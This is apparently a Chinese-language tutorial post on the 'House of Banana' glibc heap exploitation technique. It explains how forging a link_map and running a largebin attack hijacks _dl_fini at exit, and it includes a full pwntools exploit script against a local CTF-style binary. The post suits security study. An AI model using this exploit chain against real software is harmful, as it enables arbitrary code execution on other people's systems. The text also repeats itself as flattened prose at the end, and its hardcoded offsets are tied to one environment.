house of banana
字数 1299 2025-08-22 12:22:24

House of Banana 攻击技术详解

概述

House of Banana 是一种针对 glibc 的动态链接器攻击技术,由星盟的 HA1VK 师傅首先发现。该技术在 glibc 2.36 及以下版本中均可使用,主要利用 rtld_global 结构体中的 link_map 指针进行攻击。

利用条件

  1. 程序能够显式执行 exit 函数,或者通过 libc_start_main 启动的主函数能够正常结束
  2. 可以进行 largebin attack
  3. 能够泄露堆地址和 libc 地址

技术原理

House of Banana 攻击的核心在于劫持 rtld_global 结构体中的 link_map 指针。与传统的 IO 劫持虚表不同,这种攻击针对的是动态链接器的内部结构。

关键结构体

struct rtld_global {
    struct link_namespaces {
        struct link_map* _ns_loaded;    // 指向主映射的指针
        unsigned int _ns_nloaded;      // _dl_loaded 列表中的对象数量
        struct r_scope_elem* _ns_main_searchlist;
        unsigned int _ns_global_scope_alloc;
        unsigned int _ns_global_scope_pending_adds;
        struct link_map* libc_map;     // 指向 libc.so 的 link_map
        struct unique_sym_table _ns_unique_sym_table;
        struct r_debug _ns_debug;
    } _dl_ns[DL_NNS];  // 命名空间数组
    size_t _dl_nns;    // 使用的命名空间数量
    // ... 其他成员
};

攻击流程

  1. 程序结束时调用 _dl_fini 函数
  2. _dl_fini 遍历 link_map 链表
  3. 对每个 link_map 执行其 fini_array 段中注册的函数
  4. 攻击者通过伪造 link_map 控制执行流

关键执行点:

if (l->l_info[DT_FINI_ARRAY] != NULL) {
    ElfW(Addr)* array = (ElfW(Addr)*)(l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr)));
    while (i-- > 0)
        ((fini_t)array[i])();  // 目标执行点
}

利用步骤

1. 定位关键指针

找到第三个 link_mapl_next 指针位置:

p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)

2. 伪造 link_map 结构

需要伪造以下关键字段:

  1. 基本检查绕过:

    • fake+0x28 = fake (绕过 l == l->l_real 检查)
    • fake+0x314 = 0x1c (设置 l_init_called 标志)
  2. 控制执行流:

    • fake+0x110 = fake+0x40 (指向 DT_FINI_ARRAY)
    • fake+0x48 = fake+0x58 (指向函数指针数组)
    • fake+0x58 = shell (要执行的函数地址,如 one_gadget)
  3. 控制循环次数:

    • fake+0x120 = fake+0x48 (指向 DT_FINI_ARRAYSZ)
    • fake+0x50 = 8 (设置循环次数)

3. 利用 largebin attack 劫持指针

  1. 准备两个不同大小的 chunk (如 0x428 和 0x418)
  2. 释放较大的 chunk 使其进入 largebin
  3. 分配更大的 chunk 确保前一个 chunk 留在 largebin
  4. 释放较小的 chunk 进入 unsorted bin
  5. 修改 largebin chunk 的 bk_nextsize 为目标地址-0x20
  6. 分配大 chunk 触发 largebin attack,将目标地址写入 link_mapl_next 指针

示例利用代码

from pwn import *

context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc-2.27.so')

def add(index, size):
    io.sendlineafter('Your choice:\n', str(1))
    io.sendlineafter('index:\n', str(index))
    io.sendlineafter("Size:\n", str(size))

def show(index):
    io.sendlineafter('Your choice:\n', str(2))
    io.sendlineafter('index:\n', str(index))

def edit(index, content):
    io.sendlineafter('Your choice:\n', str(3))
    io.sendlineafter('index:\n', str(index))
    io.sendafter("context:\n", content)

def free(index):
    io.sendlineafter('Your choice:\n', str(4))
    io.sendlineafter('index:\n', str(index))

# 泄露libc和堆地址
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
add(3, 0x500)
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ec090
print(hex(libc_base))

edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x250
print(hex(heap_base))

# 计算关键地址
rtld_global = libc_base + 0x62a060
link_map3 = rtld_global + 0x1ccfb8
one_gadget = libc_base + 0x4f302

# largebin attack
free(2)
edit(0, p64(libc_base + 0x3ec090)*2 + p64(heap_base + 0x250) + p64(link_map3 - 0x20))
add(4, 0x500)

# 伪造link_map
fake_addr = heap_base + 0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10, b'\x00') + p64(fake_addr+0x58) + p64(8) + p64(one_gadget)
payload = payload.ljust(0x110-0x10, b'\x00') + p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10, b'\x00') + p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10, b'\x00') + p64(0x1c)

edit(2, payload)

# 触发exit执行
io.sendlineafter('Your choice:\n', str(5))
io.interactive()

防御措施

  1. glibc 高版本对 link_map 指针增加了保护
  2. 确保堆内存不可被任意写入
  3. 及时更新 glibc 版本

参考资源

  1. 高版本glibc堆的几种利用手法
  2. house-of-系列源码分析

通过这种技术,攻击者可以在程序退出时获得控制权,执行任意代码。理解这种攻击方式对于二进制安全研究和防御措施的开发具有重要意义。

House of Banana 攻击技术详解 概述 House of Banana 是一种针对 glibc 的动态链接器攻击技术,由星盟的 HA1VK 师傅首先发现。该技术在 glibc 2.36 及以下版本中均可使用,主要利用 rtld_global 结构体中的 link_map 指针进行攻击。 利用条件 程序能够显式执行 exit 函数,或者通过 libc_start_main 启动的主函数能够正常结束 可以进行 largebin attack 能够泄露堆地址和 libc 地址 技术原理 House of Banana 攻击的核心在于劫持 rtld_global 结构体中的 link_map 指针。与传统的 IO 劫持虚表不同,这种攻击针对的是动态链接器的内部结构。 关键结构体 攻击流程 程序结束时调用 _dl_fini 函数 _dl_fini 遍历 link_map 链表 对每个 link_map 执行其 fini_array 段中注册的函数 攻击者通过伪造 link_map 控制执行流 关键执行点: 利用步骤 1. 定位关键指针 找到第三个 link_map 的 l_next 指针位置: 2. 伪造 link_ map 结构 需要伪造以下关键字段: 基本检查绕过 : fake+0x28 = fake (绕过 l == l->l_real 检查) fake+0x314 = 0x1c (设置 l_init_called 标志) 控制执行流 : fake+0x110 = fake+0x40 (指向 DT_ FINI_ ARRAY) fake+0x48 = fake+0x58 (指向函数指针数组) fake+0x58 = shell (要执行的函数地址,如 one_ gadget) 控制循环次数 : fake+0x120 = fake+0x48 (指向 DT_ FINI_ ARRAYSZ) fake+0x50 = 8 (设置循环次数) 3. 利用 largebin attack 劫持指针 准备两个不同大小的 chunk (如 0x428 和 0x418) 释放较大的 chunk 使其进入 largebin 分配更大的 chunk 确保前一个 chunk 留在 largebin 释放较小的 chunk 进入 unsorted bin 修改 largebin chunk 的 bk_nextsize 为目标地址-0x20 分配大 chunk 触发 largebin attack,将目标地址写入 link_map 的 l_next 指针 示例利用代码 防御措施 glibc 高版本对 link_map 指针增加了保护 确保堆内存不可被任意写入 及时更新 glibc 版本 参考资源 高版本glibc堆的几种利用手法 house-of-系列源码分析 通过这种技术,攻击者可以在程序退出时获得控制权,执行任意代码。理解这种攻击方式对于二进制安全研究和防御措施的开发具有重要意义。